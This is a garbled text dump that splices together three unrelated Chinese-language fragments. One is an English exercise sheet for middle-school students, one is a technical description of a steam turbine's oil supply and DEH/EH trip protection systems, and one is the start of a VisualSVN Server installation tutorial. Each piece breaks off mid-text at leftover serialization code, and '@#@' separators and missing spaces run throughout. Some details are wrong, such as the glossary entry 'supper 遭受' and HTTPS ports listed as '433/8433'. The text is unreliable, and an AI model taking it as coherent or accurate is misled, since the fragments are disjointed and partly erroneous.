@#@@#@1.纸币_______2.信用卡_______@#@3.太空站_______4.住在一幢公寓里_______@#@5.喜爱上…_______6.看上去时髦_______@#@7.keepapetparrot_______@#@8.haveleisuretime_______@#@9.wearcrazyclothes_______@#@10.gotoHongKongonvacation_______@#@11.personalcomputer_______@#@12.theheadofthecompany_______@#@13.turnagainst_______@#@14.第一次_______15.奥运会_______@#@16.远离_______17.超过,多于_______@#@18.至少,最少_______19.整顿、清理_______@#@20.为某事打赌_______@#@二.根据汉语意思,完成句子。
@#@一空一词。
@#@@#@1.书籍将会仅仅在电脑,而不在纸上。
@#@@#@Books_____only_____oncomputers,not_____paper.@#@2.今后在这座城市将会有更多的树木,更少的污染。
@#@@#@Therewill__________treesand_____pollutioninthecityinfuture.@#@3.五年前萨莉还在上大学。
@#@@#@Sallywas_____collegefiveyears_____.@#@4.你认为十年后你的朋友会做什么职业?
@#@@#@_____doyouthinkyourfriendwill__________tenyears?
@#@@#@5.他们不会去野营。
@#@我确信他们将来参加我们的聚会的。
@#@@#@They_____gocamping.@#@They_____cometoourparty,I’msure.@#@三.单项选择:
@#@@#@1.Whichis_____,German,mathsorscience?
@#@@#@A.moreinterestingB.themostinteresting@#@C.veryinterestingD.theinterestingest@#@2.Youngpeoplelikethemusicplayerbecauseitlooks______andcanplayalotofsongs.@#@A.niceB.nicely@#@C.wellD.expensive@#@3.______studentslikepickingcornverymuch.@#@A.MostofB.Most@#@C.MostlyD.Almost@#@4.______dinosaursbecamesmallerandsmaller.Mostofthemhaddied.@#@A.AnumberofB.Many@#@C.ThenumberofD.Theamountof@#@5.Nobodyknowswhatdinosaurs______.@#@A.lookedafterB.lookedfor@#@C.lookedatD.lookedlike@#@6.Peoplegooutto______theparadesatThanksgiving.@#@A.likeB.enjoy@#@C.playD.work@#@7.Whynot______tothankyourteachers?
@#@@#@A.makingcardsB.tomakecards@#@C.makecardsD.madecards@#@8.Thefirsttrafficlighthastwoparts:
@#@onesays“Go”and______says“Stop”.@#@A.anotherB.theother@#@C.othersD.other@#@9.Marywants______TVtonight.@#@A.towatchB.watch@#@C.watchingD.watches@#@10.Youngpeopleshould______tostayhealthy.@#@A.domoreexerciseB.goshopping@#@C.eatalotoffoodD.playcomputergames@#@11.Whynot______waferstomakethecups?
@#@@#@A.useB.touse@#@C.usingD.used@#@12.Noone_______everythingabouteverysubject.@#@A.knowB.knowsC.knowingD.knew@#@13.You______betterifyou______harder.@#@A.learn,workB.arelearning,areworking@#@C.willlearn,workD.learn,willwork@#@14.Ilikemodelcars,______Icankeepworkingonthem.@#@A.whenB.ifC.becauseD.until@#@15.Todayisthefinalrace______myfriendandI.@#@A.amongB.betweenC.bothD.either@#@四.阅读理解@#@
(一)@#@DanniiMinogue,theAustraliansingerandactress,isavegan.Shedoesn’teatanymeat,fishordairyproducts.“WhenIwasthirteenIbegantofindmeattoofatty.IfeltverysickwhenIateit.SoIstoppedeatingmeatandbecameavegetarian.”Fouryearslater,Danniistoppedeatingeggs,milk,andcheesebecausetheywerebadforhervoice.Shegaveupfishtoo,andbecameavegan.Thenshestartedreadingaboutfactoryfarming-howwekeepandkillanimalsinbadconditions.Shewasdisgustedbywhatsheread,“Factoryfarmingisawfulbecausetheanimalssuffersomuch.”Sheknewthatherdecisiontobecomeaveganwasrightfortheanimalsaswellasherself.@#@BrianHarvey,asingerwiththegroupEast17,enjoyseatingmeatandjunkfood.“WhenI’mhungryIwantabigburger,notawetsalad.Ilovemyburgersandfriedchickentakeaways.AndChinesefood-ifithasgotmeatinit.Whatisvegetarianfoodanyway?
@#@Tomatoes,crispylettuce,greenpeppers,onions.No,thanks!
@#@”Brianlikesanimalsbutfeelsthatitisnaturalforpeopletoeatmeat.@#@1.vegan纯素主义者2.dairy乳制品的@#@3.fatty多脂肪的4.vegetarian素食者@#@5.condition环境;@#@条件6.disgust令人厌恶@#@7.supper遭受8.aswellas除…以外;@#@还@#@9.burger=hamburger汉堡包10.crispy脆的@#@11.lettuce莴苣12.natural自然的@#@根据短文内容,判断正误。
@#@正确的用“T”表示,错误的用“F”表示。
@#@@#@1.Danniibecameaveganwhenshewasthirteen.@#@2.Danniididn’teatfishanylongerwhenshewasseventeen.@#@3.BrianHarveydoesn’twanttobeavegan.@#@4.Avegetariandon’teateggsormilk.@#@5.Danniithinksit’swrongtoeatmeat.@#@
(二)@#@Televisionisgood.You’dliketowatchitalldayandallnight.ButtoomuchTVisaverybadt";i:
19;s:
29426:
"EH油及透平油系统@#@透平油系统@#@主油泵装在机头前轴承箱内,通过齿形联轴器由汽轮机主轴直接带动,为双吸单级离心式主油泵,出口油压为1.96Mpa,经出口逆止门分为两路,分别供给装在油箱内两只并联的注油器进口和机械保安系统;@#@Ⅰ号注油器出口油压为0.098Mpa,供主油泵进口,Ⅱ号注油器出口油压为0.353Mpa,经两台并联的冷油器至润滑油母管后压力为0.118±@#@0.0196Mpa,当润滑油母管压力>0.15Mpa时溢油阀开启,将多余的油溢回油箱,保持润滑油压的稳定。
@#@@#@为满足机组启停和事故处理要求,系统中还备有启动油泵、交流润滑油泵和直流润滑油泵各一台。
@#@@#@启动油泵用于机组启动、调整试验时机械保安部套用油,交流润滑油泵在开、停机及盘车时供润滑用油,或在运行中润滑油压降至0.069Mpa时自动投入工作,直流润滑油泵在厂用电中断时保证停机润滑用油,也可在润滑油压降至0.059Mpa时自动投入工作。
@#@@#@另外,本机配备了两台柱塞式顶轴油泵,一运一备,由电动机带动工作,顶轴油压视各轴承重量定为10~16Mpa,停机过程中转速降至200rpm时应启动顶轴油泵,直至盘车结束,转子停转方可停止。
@#@@#@油箱悬吊在运行平台下,有效容积15m3,油位升降范围为0.5m,油位允许范围为-100~+300mm,使用32L-TSA(后改为46-TSL)汽轮机油,循环倍率为8倍,油箱的附属设备还有排烟机、可抽洗滤网、油位计和一套油净化装置。
@#@@#@机头前轴承箱内除装有推力-支持轴承、离心式主油泵外,还装有挂闸电磁阀和机械保安部套。
@#@@#@挂闸电磁阀用于开机前复位危急遮断油门和隔膜阀,建立低压安全油压。
@#@@#@机械保安部套设有两套飞锤式危急保安器,由危急保安器杠杆分别控制两个危急遮断油门,当机组转速达109%~111%额定转速时,飞锤飞出,由危急保安器杠杆开启危急遮断油门,泄去低压安全油,使隔膜阀打开,AST油泄去,切断汽轮机进汽。
@#@另有一个手动危急保安器供手动开启危急遮断油门停机。
@#@@#@为保证飞锤动作灵活可靠,设有注油试验装置,包括一个操作油门和两个试验油门,利用操作油门可移动杠杆,选择试验的飞锤,再用试验油门对已选择的飞锤注油,飞锤动作情况由就地指示灯反映。
@#@@#@八、调节保安系统﹙DEH系统﹚@#@
(一)、概述@#@本机采用数字式电液调节系统(简称DEH系统),其液调系统(简称EH系统)为三芳基磷酸脂抗燃液,而机械保安油为低压透平油,有一套独立的高压抗燃油供油装置。
@#@每一个进汽阀均有一个执行机构控制其开关,所有的执行机构均为单侧进油,靠液压力开启阀门,弹簧力关闭阀门。
@#@@#@调节保安系统的组成按其功能可分为四大部分:
@#@供油系统部分、执行机构部分、危急遮断部分(ETS)、机械超速手动停机及启动挂闸部分。
@#@供油系统的功能是提供高压抗燃油,并由它来驱动执行机构,执行机构响应从DEH送来的电指令信号,以调节汽轮机各蒸汽阀开度,危急遮断系统(ETS)是由汽轮机的遮断参数所控制,当这些参数超过其运行限制值时,该系统就关闭汽轮机全部蒸汽进汽阀门,或只关闭调节汽阀,使机组安全停机。
@#@(机械超速与手动停机是工作转速达到额定转速的109%~111%时危急遮断器动作,或手动解脱滑阀动作时,关闭自动主汽门和调节汽阀。
@#@)@#@
(二)、高压抗燃油系统(EH系统)@#@EH系统是指高压抗燃油系统,EH系统采用的液压油为三芳基磷酸脂抗燃油,其正常工作温度为20~60℃,最低闪点235℃,燃点352℃,自燃点594℃。
@#@由于三芳基磷酸脂抗燃油具有一定的毒性,应避免吸入或在意外情况下吞入抗燃油,禁止在工作场地进食与吸烟,并尽可能避免接触皮肤,如抗燃油不慎溅入眼睛内应立即到就近的医院进行冲洗,如抗燃油溅落在保温层上应立即擦去,应尽量避免抗燃油滴落到电缆上,以免腐蚀其绝缘层。
@#@@#@EH系统主要包括供油装置、自循环冷却装置、抗燃油再生装置、油管路及附件(蓄能器等)。
@#@@#@1、供油装置@#@供油装置的主要功能是为执行机构提供所需的液压动力,同时保持液压油的正常理化特性,它由油箱、油泵-电机组件,控制块,滤油器、磁性过滤器、溢流阀、蓄能器、冷油器、EH油箱加热器、ER端子盒和一些对油压、油温、油位进行报警、指示和控制的标准设备。
@#@@#@由交流电机驱动恒压变量柱塞泵(该泵对油液粘度要求很高,油温高于20℃才允许启动泵组),泵组根据系统所需流量自行调节,以保证系统的压力不变,减轻蓄能器的负担,正常运行时通过油泵吸入滤网将EH油箱中的抗燃油吸入,油泵出口的压力油经过滤油器通过单向阀及溢流阀进入和高压蓄能器相联的高压油母管(HP)。
@#@将高压抗燃油送到各执行机构和OPC超速保护及AST自动停机危急遮断系统,泵出口的压力可在0~21Mpa之间任意设置,本机EH系统的工作压力为14.0±@#@0.5Mpa,启动后,油泵向系统供油,同时也为蓄能器充油,当油压达到系统的整定压力14Mpa时,高压油推动恒压泵上的控制阀,控制阀操作泵的变量机构,使泵的输出流量减少,当泵的输出流量和系统用油流量相等时,泵的变量机构维持在某一位置,当系统需要增加或减少用油量时,泵会自动改变输出流量,维持系统油压在14Mpa,当系统瞬间用油量很大时蓄能器将参与供油。
@#@@#@供油装置有两路独立的泵组,它既可以在汽轮机启动时同时工作,使流量加倍,又可以在正常时独立工作,互为备用。
@#@@#@2、抗燃油再生装置@#@抗燃油再生装置是一种用来储存吸附剂和使抗燃油得到再生的装置(使油保持中性,去除水份等),该装置主要由硅藻土滤器和精密滤器(即波纹纤维素过滤器)等组成。
@#@@#@一个硅藻土滤器与纤维素滤器相串联,它们安装在独立循环滤油的管路上,启动EH油再生泵,即可使再生装置投运,硅藻土滤器用来除去油中的酸度,纤维素滤器用来除去油中水分和杂质。
@#@每个滤器上装有一个压力表,当滤器需要检修时,此压力表就指示不正常的高压力,硅藻土滤器与纤维素滤器均为可调换滤芯的结构。
@#@当管路上的进油阀门关闭时,滤器盖可以拆去,以便调换滤芯。
@#@@#@3、自循环冷却-滤油系统@#@供油系统除正常的回油冷却和滤油外又增设了一个冷油器和一台滤油器,以确保在非正常情况下工作时,油箱油温能控制在正常工作范围内。
@#@机组在正常运行时,系统的滤油效率较低,因此系统经过一段时间的运行后,EH油品质会变差,而要达到油质的要求则必须停机重新进行油循环,为了不影响机组的正常运行,同时保证油系统的清洁度,使系统长期可靠运行,在供油装置中设置了独立的自循环冷却-滤油系统。
@#@自循环冷却-滤油系统的设置可实现在线油循环,即在油温过高或油清洁度不高时,可启动该系统对油进行冷却和过滤,即使伺服系统不工作,油液的冷却和过滤也可进行。
@#@油泵可以用ER电控箱上的控制按钮直接启动或停止。
@#@自循环冷却-滤油系统是由一台油泵-电机组件,一台5微米滤油器,一台冷却器及冷却水流量控制电磁阀组成。
@#@循环油泵可以由温度开关23/cw来控制,也可以由人工控制,当EH油温高于60℃时冷却水电磁水阀打开,当EH油温低于37℃时冷却水电磁水阀关闭。
@#@@#@EH冷却器采用列管式冷油器,共二只,一只装在自循环冷却-滤油系统中,另一只装在压力回油管路上的回油过滤器的后面,用以冷却从系统中返回的油液。
@#@@#@(三)、电液执行机构@#@本机DEH系统共有5只电液执行机构,分别控制一个自动主汽门和四个调门。
@#@自动主汽门、调门均采用高压抗燃油油动机控制,调门的油动机上装有一个电液伺服阀及二只LVDT位移变送器,油动机位置可由DEH精确控制。
@#@@#@1、高压自动主汽门执行机构@#@自动主汽门的执行机构为二位开关型执行机构,阀门在全开或全关位置上工作,该执行机构安装在机组侧面的高压主汽阀上,其工作介质为14Mpa的抗燃油,单侧进油,开启时由油压提供开启力,而关闭时则依靠弹簧力,从危急保安器动作到主汽阀完全关闭的时间不大于1秒,执行机构还设有阀门活动试验电磁阀和开关电磁阀。
@#@@#@二位开关型执行机构接受DEH控制系统来的控制信号,其开关电磁阀在得到DEH控制系统发出的控制信号后开启,此时高压抗燃油经节流孔进入该执行机构油缸下部和卸荷阀的上部,使EH工作油排油通道关闭,在油压的作用下克服蒸汽作用在阀门上的作用力、摩擦力、阀门本身的重力和操纵座弹簧力而开启自动主汽门,当自动主汽门运动到限位行程后,操纵座上的行程开关触点闭合,同时发出一个信号给DEH,表明自动主汽门已全开,同时关闭开关电磁阀。
@#@@#@2、高压调节汽阀执行机构@#@高压调节汽阀执行机构属连续控制型执行机构,可以将高压调节阀控制在任一位置上,成比例的调节进汽量以适应汽轮机运行的需要。
@#@经计算机运算处理后的开大或关小调节汽阀的电气信号经过伺服放大器放大后,在电液伺服阀中将电气信号转换为液压信号,使电液伺服阀主阀芯移动,并将液压信号放大后控制高压抗燃油的通道,使抗燃油进入油动机活塞下腔,使活塞向上移动,带动调节汽阀使之开启,或者是使压力油自活塞下腔泄出,借弹簧力使活塞下移关闭调节汽阀。
@#@当油动机活塞移动时,同时带动线性位移传感器(LVDT),将活塞的位移转换成电气信号,作为负反馈信号与前面计算机处理后送来的信号相加,由于两者极性相反,实际上是相减,只有在原输入信号与反馈信号相加后,使输入伺服放大器的信号为零后,伺服阀的主阀回到中间位置,不再有高压油通向油动机下腔或使压力油自油动机下腔泄出,此时调节汽阀便停止移动,保持在一个新的工作位置。
@#@@#@(四)、危急遮断系统(ETS)@#@为了防止汽轮机在运行中因部分设备工作失常可能导致机组发生重大损伤事故,在机组上装有危急遮断系统,使汽轮机在异常情况下紧急停机,以保护汽轮机安全,危急遮断系统监视汽机的某些运行参数,当这些参数超过其运行限制值时,该系统就关闭全部蒸汽阀门。
@#@被监视的参数有如下各项:
@#@汽轮机超速,轴向位移大,相对膨胀大,润滑油压低,凝结器真空低,抗燃油压力低,轴承振动大等,另外还提供一个可接受所有外部遮断信号的遥控接口。
@#@@#@两只并联布置的超速保护电磁阀(20/OPC-1、2)、两个逆止阀和一个控制块组成超速保护电磁阀组件;@#@四个串/并联布置的自动停机危急遮断保护电磁阀(20/AST-1、2、3、4)和一个控制块构成超速保护-自动停机危急遮断保护电磁阀组件,这两个组件布置在高压抗燃油系统中,它们是DEH控制器的OPC部分和AST部分所控制。
@#@@#@1、超速保护(OPC)电磁阀组件@#@两只并联布置的超速保护电磁阀(20/OPC-1、2)在正常运行时是不带电常闭的,封闭了OPC母管的泄油通道,使调节汽阀执行机构活塞下腔建立起油压,当转速超过103%额定转速时,OPC动作信号输出,OPC电磁阀通电打开,使OPC母管控制油经无压回油管(DV)排至EH油箱,卸载阀快速开启,使各调节汽阀迅速关闭(机组负荷大于30%额定负荷,发电机油开关跳闸,OPC电磁阀动作,关闭调门)。
@#@OPC电磁阀动作后延时3~4秒,若转速n<3090r/min,则自动恢复。
@#@@#@2、危急遮断(AST)电磁阀组件@#@四个串/并联布置的AST电磁阀在正常运行时是通电关闭的,封闭了AST母管的泄油通道,使主汽门和调门执行机构活塞下腔的油压能够建立起来。
@#@当电磁阀失电打开,AST油经无压回油管路泄掉,通过快速卸荷阀关闭主汽门、调门,使汽机停机,四个AST电磁阀成串/并联方式,其目的是为了保证汽轮机的安全性及可靠性,AST/1和AST/3、AST/2和AST/4每组并联连接,然后两组串联连接,这样在汽轮机危急遮断时每组中任何一个电磁阀拒动都不影响AST母管中的压力油泄去,进而保证汽轮机的安全,四只AST电磁阀中任意一只损坏或误动作都不会引起停机。
@#@在复位时,两组电磁阀组的电磁阀只要有一组关闭,就可以使AST母管中建立起油压,使汽轮机具备起动的条件。
@#@AST油和OPC油是通过AST电磁阀组件上的两个逆止门隔开的,这两个逆止阀被设计成当OPC电磁阀动作时,AST母管油压不受影响,使自动主汽门保持全开;@#@当AST电磁阀动作时,OPC母管油压也失去,将关闭所有的进汽阀而停机。
@#@@#@3、隔膜阀@#@隔膜阀联接着低压安全油系统和高压抗燃油系统,其作用是当汽轮机发生转速飞升使危急遮断器动作或危急遮断装置发出停机信号时,通过危急遮断器滑阀使低压安全油母管泄油,当低压安全油压降至一定值时,隔膜阀打开,使AST油母管泄油,关闭自动主汽门和调门,以保证汽轮机组的安全。
@#@@#@当机组正常运行时,低压安全油系统中的保安油通入隔膜阀的上腔,克服弹簧力,使该阀保持在关闭位置,堵住AST母管的排油通道,保证自动主汽门和调门投入工作。
@#@机械超速机构-危急遮断器或手动遮断滑阀的单独动作或同时动作,均能使低压安全油系统中的油压下降或消失,打开隔膜阀,将AST油通过无压回油母管泄至EH油箱,将所有的阀门关闭。
@#@@#@(五)、机械超速手动停机装置和启动挂闸部分@#@机械超速及手动停机装置包含有:
@#@危急遮断器、危急遮断杠杆、危急遮断滑阀以及保安操纵箱。
@#@其作用是在下列情况下能迅速切断汽机的进汽,停止汽轮机的运行并发出报警信号。
@#@@#@1、 @#@汽轮机工作转速达到额定转速的109%~110%时危急遮断器动作。
@#@@#@2、 @#@手动解脱滑阀动作时,关闭自动主汽阀和调节汽阀。
@#@@#@保安操纵箱:
@#@@#@保安操纵箱是危急遮断系统中的控制和试验装置,它安装在前轴承箱盖的外侧,它包含有一个操作滑阀,两个超速试验滑阀,一个手动解脱滑阀。
@#@@#@启动挂闸装置:
@#@@#@启动挂闸装置是一个启动挂闸电磁阀组(20/RS),汽轮机停机后,需要再次启动时,必须使落下的危急遮断滑阀上移,从而建立保安油压。
@#@@#@(六)、DEH系统功能@#@DEH系统采用智能卡件,完成控制逻辑,算法及人机接口,即根据采集的汽轮发电机各种参数数据,通过一定的控制策略,最终将控制指令通过EH油系统驱动阀门,完成对机组的控制,控制操作可在专用操作盘上完成,也可在操作员站上利用鼠标实现。
@#@@#@DEH系统技术性能指标:
@#@@#@1、转速控制范围:
@#@0~3500rpm精度±@#@1%@#@2、负荷控制范围:
@#@0~115%精度±@#@1MW@#@3、速度变动率:
@#@3%~6%范围内连续在线可调@#@4、升速率控制精度:
@#@±@#@0.1%@#@5、控制系统不灵敏度(迟缓率):
@#@<0.06%@#@6、甩负荷转速超调量:
@#@≤8%额定转速,维持3000rpm@#@7、平均无故障运行时间:
@#@(MTBF)@#@DEH系统≥8000h电控装置≥20000h@#@8、系统可用99.9%@#@9、系统控制周期≤50ms@#@10、电控装置运行环境温度:
@#@0~40℃相对湿度40~60%@#@11、电源负荷率:
@#@60%双电源配置@#@12、操作板显示表误差±@#@1个数字(与CRT比较)@#@DEH系统配置:
@#@@#@1、DEH系统配置了控制柜、工程师站、操作员站及手操盘。
@#@@#@2、系统工程师通过工程师站对系统进行维护和控制策略组态。
@#@@#@3、操作员通过操作员站对汽轮机运行方式及控制目标值进行设定,进行各种试验和回路投切等。
@#@@#@4、由于DEH系统的重要性,配置了一个后备手操盘,以便在DEH故障时通过手操盘维持机组运行。
@#@@#@DEH系统操作盘:
@#@@#@1、软操盘:
@#@在DEH画面上设计了四块软操盘,需要操作时,按画面下方相应按钮,小操作盘就会弹出显示在画面上。
@#@操作员对DEH的操作指令一般都在这些软操盘上输入。
@#@@#@A. @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@升速控制操作盘:
@#@该盘上提供了设定“目标值”“升速率”“进行”“保持”“摩擦检查”“GV控制”“自动同步”“汽机挂闸”等汽机升速过程中常用的操作。
@#@@#@B. @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@负荷控制操作盘:
@#@该盘上提供了设定“目标值”“变负荷率”“进行”“保持”“一次调频”“功率回路”“调压回路”“CCS遥控”“单阀/顺序阀控制”。
@#@@#@C. @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@其它控制方式:
@#@该盘上提供了“TPC控制”及“机调压TCP”等控制方式,“低真空限制”等投入按钮以及用户要求的其它功能。
@#@@#@D. @#@ @#@ @#@ @#@超速试验操作盘:
@#@该盘上提供了超速试验“103%”“110%”和“机械超速”的选择按钮。
@#@@#@2、触摸式键盘:
@#@键盘上共分七个区@#@A.用户定义区:
@#@共有40个定义键,上半区定义了一些DEH专用操作键,操作员操作这些按钮可直接输入指令,与在CRT上操作效果相同,下半区定义了一些画面快捷键,可通过这些键迅速调出相应的监视画面(模拟图)。
@#@@#@B.标准功能区:
@#@可按“单点”“一览”“趋势”等按键调用相应功能。
@#@@#@C.报警区:
@#@可调出报警测点和进行报警确认。
@#@@#@D.鼠标区:
@#@可用光标移动键代替鼠标,选择目标。
@#@@#@E.字母键区:
@#@操作过程中所需输入的数字、字符均在字母键区输入。
@#@@#@F.画面区:
@#@可对画面翻动。
@#@@#@G.控制区:
@#@实现阀门开关或暂停操作。
@#@@#@3、硬手操盘:
@#@@#@由于当DPU或操作员站故障时,软操盘不起作用,故DEH系统配置了一块硬操盘,集中了DEH的手动操作功能和部分重要的开关操作。
@#@@#@A. @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@手动操作:
@#@当DEH发生故障时,无法实现自动控制时会切至手动,此时硬操盘手动指示灯亮。
@#@如DEH正常,机组有异常情况时,操作人员也可通过钥匙开关强行将DEH切到手动操作。
@#@操作员如需操作阀门位置,必须先将手动/自动钥匙开关切至手动位置。
@#@然后按相应的阀门增、减键,并通过条形指示表现观察实际阀位。
@#@操作员通过按增/减按钮时间,可控制阀门开关的速度,持续按10s以内,阀门以20%/min的速度变化,10s~20s内阀门以40%/min的速度变化,20s以上为80%/min的速度变化,如中间不连续则重新计时。
@#@@#@B. @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@超速保护钥匙开关:
@#@可用钥匙开关选择进入“试验”“投入”或“切除”状态。
@#@正常时,此开关应在“投入”位置。
@#@一般不插入钥匙开关,以免无关人员误操作。
@#@超速试验时,需打到“试验”位置,运行人员不能将其打到“切除”位置。
@#@@#@4、控制指令与数据的输入:
@#@@#@运行人员要对DEH输入控制指令,一般是调出相应的操作盘,按上面的按钮即可。
@#@例如投自动操作,当“自动”按钮为灰色时,DEH指示为“手动”状态,当条件满足只需按下“自动”按钮,颜色由灰色变为红色,同时,DEH指示为“自动”,自动投入即完成。
@#@如果条件不满足,即使运行人员操作了此按钮,DEH也不会响应,如在转速控制方式下,当转速在临界转速区时,按“保持”按钮,汽机转速不会保持。
@#@有些按钮设计了二次确认,按下该按钮时,会弹出对话框,只有按下“确认”,指令才有效,否则无效,但DEH是否响应此指令,同样仍需看相关条件是否满足。
@#@@#@运行人员要输入DEH的给定数据,如转速、负荷目标值,升速、升荷率,压力设定值等,只需按相应的按钮,CRT上即会弹出数值框,运行人员通过鼠标或键盘输入所需数据即可。
@#@对“目标值”按钮,并网前为转速值,并网后为负荷值,所有输入的数据,DEH均会检查其是否有效及是否超限,当输入数据无效时,DEH保持原来的数值不变。
@#@@#@DEH的运行方式:
@#@@#@A. @#@ @#@ @#@ @#@ @#@ @#@ @#@操作员自动操作(自动)——这是主要的运行方式。
@#@@#@B. @#@ @#@ @#@ @#@ @#@ @#@ @#@遥控自动操作方式,又分为自动同步和CCS遥控方式。
@#@@#@C. @#@ @#@ @#@ @#@ @#@ @#@ @#@手动操作方式。
@#@@#@D. @#@ @#@ @#@ @#@ @#@ @#@ATC或程控启动。
@#@@#@E. @#@ @#@ @#@ @#@ @#@ @#@ @#@各种运行情况下的保护功能。
@#@@#@1、操作员自动操作(自动)@#@操作员自动操作简称为自动,这是运行人员控制汽轮发电机的主要运行方式,在该方式下,操作员可进行如下控制:
@#@@#@A. @#@ @#@ @#@ @#@ @#@ @#@ @#@在升速期确定或修改机组升速率和转速目标值;@#@@#@B. @#@ @#@ @#@ @#@ @#@ @#@ @#@当机组达到同步转速,可投入“自动同步”;@#@@#@C. @#@ @#@ @#@ @#@ @#@ @#@ @#@机组并网后,确定或修改机组负荷目标值和变负荷率;@#@@#@D. @#@ @#@ @#@ @#@ @#@ @#@根据运行情况决定是否投入功率回路和调节级压力回路;@#@@#@E. @#@ @#@ @#@ @#@ @#@ @#@ @#@并网后,可投入转速回路(一次调频);@#@@#@F. @#@ @#@ @#@ @#@ @#@ @#@ @#@可投运遥控操作;@#@@#@G. @#@ @#@ @#@ @#@ @#@ @#@可进行单阀/顺序阀切换;@#@@#@H. @#@ @#@ @#@ @#@ @#@ @#@ @#@可投主汽压控制等功能。
@#@@#@2、遥控操作:
@#@@#@一般情况下,遥控操作都在操作员自动方式下投入,一旦投入了遥控,DEH目标值就由遥控源来决定,进行负荷控制,但运行人员能在任何时刻再按相应的“遥控”键退出遥控,遥控源可以是CCS(机炉协调)也可以是机组AGC(自动发电)指令,在小机组中也可能是集中的远方负荷操作指令。
@#@@#@A.自动同步:
@#@是一种特殊的遥控操作,即遥控汽轮机转速。
@#@在这种方式中,依靠“自动同步增/减”触点输入来调整目标值和给定值,直到汽轮机达到同步转速,为机组并网做准备,采用这种遥控方式,控制系统必须满足下列条件:
@#@@#@a. @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@DEH处于“自动”方式;@#@@#@b. @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@主变开关断开(未并网);@#@@#@c. @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@自动同步允许触点闭合;@#@@#@d. @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@汽轮机转速在同步范围内。
@#@@#@当运行人员按下“自动同步”键,如上述条件符合,该键灯亮,表示控制系统已处于“自动同步”方式运行。
@#@DEH根据同期装置发出的增、减触点来改变目标值,运行人员已无法改变目标值和升速率。
@#@@#@在该方式下运行,如主变开关闭合或“自动同期控制允许”触点断开,控制系统会自动从“自动同步”转到“操作员自动”方式运行,如遇控制系统切换到“手动操作”则自动终止“自动同步”运行方式。
@#@@#@B.CCS遥控方式:
@#@协调控制(CCS)是DEH最主要的一种遥控方式,即负荷控制下的遥控负荷操作,如要采用这种方式,必须满足下列条件:
@#@@#@a. @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@DEH必须在“自动”方式下运行;@#@@#@b. @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@油开关必须闭合(机组已并网);@#@@#@c. @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@遥控允许触点必须闭合。
@#@@#@当运行人员按下“遥控”键,如上述条件符合,该键灯亮,表示控制装置已投入协调控制方式,“遥控投入”触点已送至CCS控制装置,DEH已可接收CCS来的负荷增、减信号,此时运行人员已无法改变负荷的目标值和变负荷率,一旦目标值达到上限或下限,DEH会发出“遥控上/下限闭锁”触点信号,送至CCS装置,表明此时再发负荷增/减讯号已无效。
@#@@#@当投入CCS控制时,DEH的功率回路、调节级压力回路均被切除,DEH运行成为阀位控制方式,由CCS完成功率闭环控制,在CCS控制期间,当油开关断开或遥控允许触点断开,DEH会自动恢复到“自动”方式运行,运行人员也可再按“遥控”键退出“遥控”方式,进入“自动”方式运行。
@#@@#@3、汽轮机手动操作:
@#@@#@当基本控制计算机的一对冗余一般标识DPU11和DPU31均发生故障,或VCC(阀门控制卡)部分发生故障时,DEH会切到手动,硬操盘上“手动”灯亮,此时运行人员应立即把“自动/手动”钥匙开关切向“手动”位置,当DEH处于“手动”时,如运行人员需从“手动”切回到“自动”,应先观察图像画面上DPU11和DPU31、VCC部分和MCP(测速卡)是否正常,如无报警则把钥匙开关置于“自动”位置,再通过“自动”按钮请求切换至“自动”方式,但不应在升速阶段切手动控制,如升速阶段DEH发生故障时,建议打闸处理后再投自动,重新升速。
@#@@#@手动操作有一组增/减按钮,分别对应一种类型的阀门,按住任一键,键灯亮,可在硬操盘条形表或“阀门指令与反馈”画面上观察相应阀门位置的变化,手动增/减时,同类阀门均在原位置上按同一速率变化,而不管手动前机组处于单阀/多阀控制,按钮的时间越长,阀门变化速度越快。
@#@@#@手动操作是在紧急情况或DEH故障下的应急操作,仅供维持机组运行,等待消缺时用,不能长期处于手动运行,或用手动来大范围改变负荷。
@#@@#@4、各种运行方式下的保护@#@在以上各种运行方式下,DEH都具有OPC超速保护功能,如OPC回路故障,CRT及光字牌会有相应的报警。
@#@@#@DEH控制方式:
@#@@#@DEH控制装置在“操作员自动”方式时,运行人员可以根据不同的工况选择各种不同的控制方式,并能根据机组的要求,选用合适的启动方式。
@#@机组的启动方式主要由汽轮机组决定,运行人员必须根据运行规程选择合适的启动方式。
@#@@#@1. @#@ @#@ @#@ @#@ @#@ @#@启动方式选择@#@汽机挂闸后,DEH处于自动方式,检查机组及DEH状态正常。
@#@@#@对调门﹙GV﹚控制机组,输入转速目标值,输入或检查升速率,按“进行”按钮即冲转,如需暖机,在暖机转速下按“保持”即可,也可将转速目标值设为暖机转速,当转速到达设定值时,会自动保持。
@#@启动时,一般应选择单阀方式,并密切监视进汽阀门开度及转速,如超速或阀门已开而CRT上无转速显示,应立即打闸停机检查。
@#@在汽机定速后,可投入自动同步功能,机组并网后DEH能自动";i:
20;s:
9664:
"VisualSVNServer安装配置图文教程@#@前言:
@#@@#@不错的文章@#@对一个我这样的菜鸟来说,这个教程很容易理解,说它图文并茂并不为过。
@#@所以就把它整理成了文档,给大家分享。
@#@@#@文章版权归原作者ForrestZhang所有。
@#@@#@原文出处:
@#@@#@1安装过程@#@1.1VisualSVNServer的安装@#@最新版本是1.6.1,你可以在这里下载:
@#@@#@VisualSVNServer,最新更新版本是1.6.2,你可以在这里下载:
@#@@#@VisualSVNServerDocumentation下载:
@#@@#@下载后,运行VisualSVN-Server-1.6.1.msi程序,点击Next,下面的截图顺序即为安装步骤:
@#@@#@图1:
@#@@#@图2:
@#@@#@注意:
@#@ServerPort那里,默认端口有80/81/8080三个;@#@如果最后面的CheckBox被选中,则表示使用安全连接【https协议】,这是的端口只有433/8433二个可用。
@#@@#@图3:
@#@@#@图4:
@#@@#@1.2TortoiseSVN的安装@#@最新版本是1.5.5.14361,你可以在这里下载:
@#@@#@简体中文语言包下载:
@#@@#@TortoiseSVN中文资料:
